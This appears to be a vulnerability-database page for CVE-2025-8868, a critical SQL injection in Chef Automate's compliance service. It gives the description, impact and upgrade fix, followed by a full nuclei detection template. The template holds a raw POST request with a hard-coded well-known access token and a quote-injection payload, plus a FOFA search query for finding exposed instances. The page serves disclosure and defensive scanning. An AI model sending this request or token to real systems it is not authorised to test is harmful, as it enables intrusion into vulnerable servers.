HexBrain

Browse / CVEs / CVE-2025-8868

CVE-2025-8868· CWE-89

Chef Automate < 4.13.295 — SQL Injection

criticalseverity
9.8CVSS score
27.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.

Impact

Authenticated attackers with knowledge of a well-known token can execute arbitrary SQL queries through the compliance service, potentially gaining access to restricted functionality and sensitive data.

Fix

Upgrade to version 4.13.295 or later.

How to confirm it

Send: POST /api/v0/compliance/profiles/search
Positive when: status_code == 500 and contains(body, 'pq: syntax error') and contains(content_type, 'application/json')

Run it with nuclei: nuclei -id CVE-2025-8868 -u <target>

The full check
id: CVE-2025-8868

info:
  name: Chef Automate < 4.13.295 — SQL Injection
  author: 3th1c_yuk1,xbow
  severity: critical
  description: |
    In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.
  impact: |
    Authenticated attackers with knowledge of a well-known token can execute arbitrary SQL queries through the compliance service, potentially gaining access to restricted functionality and sensitive data.
  remediation: |
    Upgrade to version 4.13.295 or later.
  reference:
    - https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-8868
    epss-score: 0.27849
    epss-percentile: 0.98111
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Chef Automate"
  tags: cve,cve2025,chef,automate,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /api/v0/compliance/profiles/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

        {"filters": [{"type": "name'", "values": ["test"]}]}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains(body, 'pq: syntax error')"
          - "contains(content_type, 'application/json')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from